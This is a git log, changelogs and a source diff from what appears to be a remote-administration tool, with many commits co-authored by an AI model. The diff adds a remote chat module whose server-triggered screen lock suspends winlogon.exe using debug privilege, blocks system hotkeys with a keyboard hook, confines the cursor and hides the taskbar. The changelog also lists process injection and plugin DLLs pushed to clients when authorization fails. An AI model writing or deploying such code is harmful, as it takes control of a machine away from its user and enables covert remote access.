Gotcha fixed during bring-up: the unscoped `opus-decoder` build's
`OpusDecoder.decodeFrame` is synchronous and returns {channelData,
samplesDecoded, sampleRate, errors} directly, not a Promise, so it must be
called in try/catch rather than via .then().

Also remove the on-screen diagnostic overlay (audio toast + frame counter)
used while debugging the phone without a console; diagnostics now go to
console.* only.

Co-Authored-By: deepseek-v4-pro
2026-10-03 18:23:10 +02:00
yuanyuanxianganddeepseek-v4-pro d118558eda Fix: skip wasted geo-IP lookup blocking the host double-click tooltip
The online-host double-click handler called IPConverter::GetGeoLocation on
the UI thread before showing the floating tooltip, even when no local IP
database (QQWry/ip2region) was loaded. In that default configuration the
result is never displayed, yet the call issues up to three synchronous HTTP
requests (5s timeout each), delaying the tooltip by a network round trip or
worse.

Only run the lookup when a local database is actually loaded, and memoize
successful results per IP in a process-wide cache inside GetGeoLocation so
the remaining call sites (license activity, host-login fallback) do not
re-query the same IP. The cache uses function-local statics rather than
class members to keep IPConverter's layout unchanged and stay ABI-compatible
with the precompiled PrivateDesktop_Lib.lib QQWry/Ip2Region subclasses.

Co-Authored-By: deepseek-v4-pro
2026-10-03 09:44:01 +02:00
yuanyuanxianganddeepseek-v4-pro 76decec0fe Feature: Add file-transfer speed dialog with multi-language support
Add a novice-friendly "File Transfer Speed" dialog under the Advanced menu
that controls file-transfer speed in both directions without touching
SimplePlugins. Speed is passed through InitFileUpload's existing
chunkSizeKb/sendDurationMs arguments, so the precompiled library stays
untouched. Seven presets run from ~0.3 MB/s up to a new 10 MB/s tier plus an
unlimited tier; the chosen value is stored in [transfer] ChunkKb/DurationMs.

Upload reads THIS_CFG at the master's InitFileUpload (2015RemoteDlg.cpp:2225)
and takes effect on restart. Download is pushed to the client over a new
CMD_FILE_SPEED (252) command, sent from OnOnlineFileManager and
OnOnlineDesktopManager before each session opens, and read by all four client
InitFileUpload call sites via GetTransferSpeed so the process-global refcount
cannot latch a stale speed. All Chinese strings go through LangManager, with
en_US/zh_TW/de_DE entries added for the tier names, format strings and hint
text.

Co-Authored-By: deepseek-v4-pro
2026-10-02 19:57:57 +02:00
yuanyuanxianganddeepseek-v4-pro 9eed43bc8d Feature: Add MCP device management-control tools (kill/window/service/power)
Add P7 management-control tools behind a single McpManage flag (plus
McpReadonly=0): kill_process, operate_window, control_service and
power_action. The write tools run a ready->confirm lifecycle on their
sub-connection, using a new followUp/followUpSent field to tell the two
arrivals of the same TOKEN_*LIST apart; the write command and the follow-up
refresh command go out as two separate Send2Client calls, with a new
WaitSendIdle() (context.h / Server.h) draining the outbound buffer in between
so the same buffer is never WSASend'd concurrently.

McpSettingsDlg gains a "management operations" checkbox (IDC_MCP_MANAGE), the
main toolbar gains an MCP entry button, and en/de/zh-TW strings are synced.
power_action is fire-and-forget over the main connection (no confirmation).

Verified end-to-end against a real Windows 10/VMware client: kill_process
returns remaining:[] and operate_window/control_service return ok:true with
their confirm packet arriving after an HTTP split. Verification surfaced a
prerequisite parser bug, fixed separately in a72e6eb, where HeaderParser
latched m_bShouldUnmask FALSE on HTTP continuation chunks and dropped the
confirm packet.

Co-Authored-By: deepseek-v4-pro
2026-10-01 16:56:30 +02:00
yuanyuanxianganddeepseek-v4-pro a72e6eb391 Fix: keep m_bShouldUnmask latched TRUE once a connection is HTTP
HeaderParser::Parse reset m_bShouldUnmask to FALSE on any non-HTTP
maskType, including the continuation chunk of an HTTP connection whose
read offset is already past the "POST " header. When a large packet
(e.g. a >1460-byte process list) was split by MSS, the second chunk
latched the flag to FALSE, so the next new HTTP-masked packet was no
longer unmasked: CheckHead then read the HTTP header as the flag,
returned FLAG_UNKNOWN/PARSER_FAILED, and the packet was dropped. This
explains "first packet succeeds, subsequent packets vanish", and why
the MFC process dialog went blank after killing a process (the confirm
packet never reached NotifyProc).

Only clear the flag when the connection was not already determined to
be HTTP (initial -1, or already confirmed non-HTTP).

Co-Authored-By: deepseek-v4-pro
2026-10-01 16:18:26 +02:00
yuanyuanxianganddeepseek-v4-pro e9d60e6e23 Feature: Add Shine/HELL protocol selection to share/transfer host
Add a dedicated ShareHostDlg with a "Use Shine protocol" checkbox (default
checked) so the operator can choose Shine (0) or HELL (1) when sharing or
transferring a host. The chosen protocol is appended to the wire payload as a
trailing colon field: "IP:PORT:0/1" for share and "IP:PORT:days:0/1" for
transfer.

The client parses the trailing field from COMMAND_SHARE and
COMMAND_ASSIGN_MASTER, applies it to new connections, and persists it so
auto-share/auto-transfer on restart keeps the same protocol. Old clients
ignore the extra field, and old/missing payloads fall back to -1 (baked-in
HELL), preserving compatibility with existing servers and share_list entries.

Co-Authored-By: deepseek-v4-pro
2026-09-11 16:28:37 +02:00
yuanyuanxianganddeepseek-v4-pro 42df128f62 Feature: Support subpath deployment for Go web UI
Add optional YAMA_WEB_BASE_PATH to mount the whole web UI (index, manifest,
static assets, /health, /api/devices, /ws) under a URL prefix such as
/remoter behind a reverse proxy. index.html now uses a __BASE_PATH__
placeholder substituted at serve time, the PWA manifest start_url is rooted
at the base path, and a mount wrapper redirects the bare prefix to prefix/
and strips it before routing. Include nginx, systemd, and env-file deployment
examples for the subpath setup.

The shared placeholder is also handled by the MFC server, which serves from
the domain root and strips __BASE_PATH__ (to "") so its web remote desktop
URLs stay rooted.

Co-Authored-By: deepseek-v4-pro
2026-09-11 12:48:21 +02:00
yuanyuanxianganddeepseek-v4-pro 32cc7af371 Feature: Add configurable screen-preview quality levels menu
Add a "屏幕预览质量等级 (Screen Preview Quality Levels)" item to the
"高级 (Advanced)" menu that opens a dialog to edit the six preset
PreviewProfile levels (target encode width and JPEG quality) used by the
double-click single-preview and loop-snapshot floating windows. The dialog
edits a working copy in a full grid with per-field validation and a
restore-defaults button; on OK it persists the values to the [preview] INI
section.

ChooseScreenPreviewParams now reads from GetPreviewProfileCfg instead of the
hardcoded GetScreenPreviewProfile table, so preview requests sent after a
change use the configured parameters. LoadPreviewProfilesFromCfg loads the
saved levels at startup, falling back to the built-in defaults. Added
en_US/de_DE/zh_TW translations for the new menu and dialog strings.

Co-Authored-By: deepseek-v4-pro
2026-09-10 14:42:28 +02:00
yuanyuanxianganddeepseek-v4-pro 033ff077ef Feature: Add configurable remote-desktop quality levels menu
Add an "高级 (Advanced)" menu after "其他 (Other)" whose
"远程桌面质量等级 (Remote Desktop Quality Levels)" item opens a dialog to
edit the six preset QualityProfile levels (max FPS, max width, codec
algorithm, bitrate). The dialog edits a working copy in a full grid with
per-field validation and a restore-defaults button; on OK it persists the
values to the [quality] INI section.

The server stays authoritative: LoadQualityProfilesFromCfg loads the saved
levels at startup (falling back to GetQualityProfile defaults), and
ScreenSpyDlg now sends CMD_QUALITY_PROFILES from GetQualityProfileCfg so
new remote-desktop sessions transmit with the configured parameters. Added
en_US/de_DE/zh_TW translations for the menu and dialog strings.

Co-Authored-By: deepseek-v4-pro
2026-09-09 17:13:17 +02:00
yuanyuanxianganddeepseek-v4-pro 0416dadbba Feature: Add language-switch toolbar button and bilingual dialog
Add a 15th toolbar button "Lang/语言" after the Help button so Chinese
readers can switch language without knowing English; it opens the existing
language-select dialog. The dialog title is now bilingual ("切换语言 /
Switch Language") and its label/buttons use Chinese source strings
("语言:", "确定", "取消"), which still localize to en/de via
TranslateDialog. The toolbar bitmap is extended with a globe icon.

Co-Authored-By: deepseek-v4-pro
2026-09-08 16:34:45 +02:00
yuanyuanxianganddeepseek-v4-pro 91238da50d Feature: Add German (de_DE) language support
Add German as the fourth selectable UI language. The new de_DE.ini mirrors
en_US.ini with byte-identical Chinese keys (2028 lines, zero missing
translations, zero key mismatches), so it passes CheckEncoding and appears in
the language list automatically. German values are pure-ASCII transliterations
(ae/oe/ue/ss) because the GBK/CP936 architecture cannot encode umlauts.
LangManager.h now maps de_DE to the display name "Deutsch". Also translated the
seven Chinese value==key gaps that en_US itself left untranslated.

Co-Authored-By: deepseek-v4-pro
2026-09-06 10:33:49 +02:00
yuanyuanxianganddeepseek-v4-pro 221617fe02 Fix: Translate remaining server UI strings missing _TR/_L
Wrap the last untranslated Chinese UI strings so English mode stops showing
raw Chinese. Format strings passed to sprintf/wsprintf and the status-bar
SendMessageTimeout calls now go through _TRF, and the CString/PostMessage
literals plus a few member-initializer and Compare values go through
_TR/_L. Covers the wallet validation message, the SOCKS proxy connection
log lines, the file-manager status bar, and the machine-info progress
messages.

Add the 24 corresponding entries to lang/en_US.ini and lang/zh_TW.ini
(GBK), keeping the escaped-format-string key style. The Yes/No/Desktop/
Recent keys already existed, so the BuildDlg and CFileManagerDlg compare
fixes reuse them.

Co-Authored-By: deepseek-v4-pro
2026-09-06 09:39:59 +02:00
yuanyuanxianganddeepseek-v4-pro dd845823b6 Feature: Add get/set clipboard buttons to remote desktop toolbar
Add two toolbar buttons — get clipboard (letter C) and set clipboard (letter P) —
after the screenshot button and before the minimize button, so clipboard sync stays
reachable in fullscreen mode where the system menu cannot be opened.

The buttons reuse the existing IDM_GET_CLIPBOARD / IDM_SET_CLIPBOARD system-menu
handlers by posting WM_SYSCOMMAND to the parent. The toolbar button count grows
from 16 to 18, and the slide/animation dimensions are widened from 640 to 720.
Letter C/P icons and Simplified-Chinese source strings ("获取剪贴板", "设置剪贴板")
are added, along with English and Traditional-Chinese translations.

Co-Authored-By: deepseek-v4-pro
2026-09-03 13:29:39 +02:00
152 changed files with 22914 additions and 384 deletions

No files matched your search

+26
View File
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日志 ## 更新日志
### v1.4.0 (2026.10.7)
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
**新功能:**
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,经 MasterSettings 下发)
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
**改进:**
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
**Bug 修复:**
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
- 即时消息弹窗标题乱码(GBK code_page 声明)
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
### v1.3.9 (2026.9.2) ### v1.3.9 (2026.9.2)
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强** **MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
+26
View File
@@ -378,6 +378,32 @@ Valid : 2026-02-01 to 2028-02-01
## Changelog ## Changelog
### v1.4.0 (2026.10.7)
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
**New features:**
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, delivered via MasterSettings)
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
**Improvements:**
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
**Bug fixes:**
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
- Garbled instant-message popup title (GBK code_page declaration)
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
### v1.3.9 (2026.9.2) ### v1.3.9 (2026.9.2)
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements** **MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
+26
View File
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日誌 ## 更新日誌
### v1.4.0 (2026.10.7)
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
**新功能:**
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,經 MasterSettings 下發)
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
**改進:**
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
**Bug 修復:**
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
### v1.3.9 (2026.9.2) ### v1.3.9 (2026.9.2)
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強** **MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
+4 -2
View File
@@ -46,13 +46,15 @@ CCaptureVideo::~CCaptureVideo()
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{ {
Mprintf("CCaptureVideo call Open\n"); Mprintf("CCaptureVideo call Open\n");
HRESULT hResult = S_OK; HRESULT hResult = S_FALSE;
do { do {
hResult = InitCaptureGraphBuilder(); hResult = InitCaptureGraphBuilder();
if (FAILED(hResult)) if (FAILED(hResult))
break; break;
if(!BindVideoFilter(iDeviceID, &m_pBF)) if (!BindVideoFilter(iDeviceID, &m_pBF)) {
hResult = S_FALSE;
break; break;
}
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter"); hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
+339
View File
@@ -0,0 +1,339 @@
// ChatManager.cpp: implementation of the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ChatManager.h"
#include "Common.h"
#include "resource.h"
#include <TlHelp32.h>
#if ENABLE_MESSAGE
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
#define SE_DEBUG_PRIVILEGE 20
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
struct PIDWNDINFO {
DWORD dwProcessId;
HWND hWnd;
};
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
static HANDLE g_hProcess = NULL;
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
static HHOOK g_hKeyBoard = NULL;
static int g_nLocked = 0;
static DWORD GetWinlogonPid()
{
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
BOOL rtn = Process32First(snap, &pEntry);
while (rtn) {
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
CloseHandle(snap);
return pEntry.th32ProcessID;
}
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
rtn = Process32Next(snap, &pEntry);
}
CloseHandle(snap);
return 0;
}
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_SYSKEYUP:
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|| (p->vkCode == VK_LWIN)
|| (p->vkCode == VK_RWIN)) {
return 1;
}
break;
}
}
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
}
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
ShowWindow(hWnd, SW_MINIMIZE);
return TRUE;
}
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
pInfo->hWnd = hWnd;
return FALSE;
}
return TRUE;
}
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
static void ChatSetHook()
{
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
HMODULE hMod = LoadLibrary("ntdll");
if (hMod) {
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
DWORD pid = GetWinlogonPid();
BOOLEAN dummy = 0;
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
}
}
static void ChatUnSetHook()
{
if (g_hKeyBoard) {
UnhookWindowsHookEx(g_hKeyBoard);
g_hKeyBoard = NULL;
}
if (g_lpfnNtResumeProcess && g_hProcess) {
g_lpfnNtResumeProcess(g_hProcess);
}
if (g_hProcess) {
CloseHandle(g_hProcess);
g_hProcess = NULL;
}
g_lpfnNtResumeProcess = NULL;
}
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
static void UnlockScreen()
{
ChatUnSetHook();
ClipCursor(NULL);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
g_nLocked = 0;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_hInstance = HINSTANCE(user);
m_hWnd = NULL;
m_bRun = TRUE;
g_nLocked = 0;
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
BYTE bToken = TOKEN_CHAT_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
Mprintf("Chat 构造\n");
}
CChatManager::~CChatManager()
{
m_bRun = FALSE;
while (m_hThread)
Sleep(100);
if (g_nLocked == 1) {
UnlockScreen();
}
if (m_hWnd) {
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
}
Mprintf("Chat 析构\n");
}
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
CChatManager* pThis = (CChatManager*)lParam;
HANDLE& hThread(pThis->m_hThread);
pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
CChatManager::ChatDialogProc, (LPARAM)pThis);
if (pThis->m_hWnd) {
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
// 移除最小化/最大化按钮
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
CloseHandle(hThread);
hThread = NULL;
return 0;
}
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
switch (uMsg) {
case WM_INITDIALOG:
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
pThis = (CChatManager*)lParam;
SetWindowText(hDlg, "远程交谈");
SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
{
HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
if (hIcon) {
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
}
}
return TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
char str[4096] = { 0 };
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
if (str[0] == 0) {
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
return TRUE; // 消息为空不发送
}
pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
SYSTEMTIME st;
GetLocalTime(&st);
char Text[5120] = { 0 };
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
int nLen = GetWindowTextLength(hEditChatLog);
if (nLen >= 20000) {
SetWindowText(hEditChatLog, "");
nLen = GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
return TRUE;
}
if (LOWORD(wParam) == IDC_BUTTON_END) {
// 被控端关闭聊天窗口:仅隐藏对话框,会话保持。关闭交谈始终由服务端发起,
// 服务端继续发消息时 OnReceive 会用 SW_RESTORE 重新弹出本对话框。
ShowWindow(hDlg, SW_HIDE);
return TRUE;
}
break;
case WM_CLOSE:
// X 关闭按钮:仅隐藏对话框(与「结束交谈」一致),关闭交谈始终由服务端发起
ShowWindow(hDlg, SW_HIDE);
return TRUE;
case WM_USER + 1:
pThis->m_hWnd = NULL;
DestroyWindow(hDlg);
return TRUE;
case WM_USER + 2:
ChatSetHook();
return TRUE;
case WM_DESTROY:
PostQuitMessage(0);
return TRUE;
default:
break;
}
return FALSE;
}
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer[0] == TOKEN_HEARTBEAT) return;
if (ulLength == 1) {
switch (szBuffer[0]) {
case COMMAND_NEXT_CHAT:
NotifyDialogIsOpen();
return;
case COMMAND_CHAT_CLOSE:
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
return;
case COMMAND_CHAT_SCREEN_LOCK:
NotifyDialogIsOpen();
if (m_hWnd && g_nLocked == 0) {
ShowWindow(m_hWnd, SW_RESTORE);
RECT rct = { 0 };
GetWindowRect(m_hWnd, &rct);
ClipCursor(&rct);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
PIDWNDINFO pwi = { 0 };
pwi.dwProcessId = 0;
pwi.hWnd = m_hWnd;
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
g_nLocked = 1;
}
return;
case COMMAND_CHAT_SCREEN_UNLOCK:
if (g_nLocked == 1) {
UnlockScreen();
}
return;
default:
break;
}
}
// 收到服务端发来的聊天文本
SYSTEMTIME st;
GetLocalTime(&st);
char Text[8192] = { 0 };
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:",
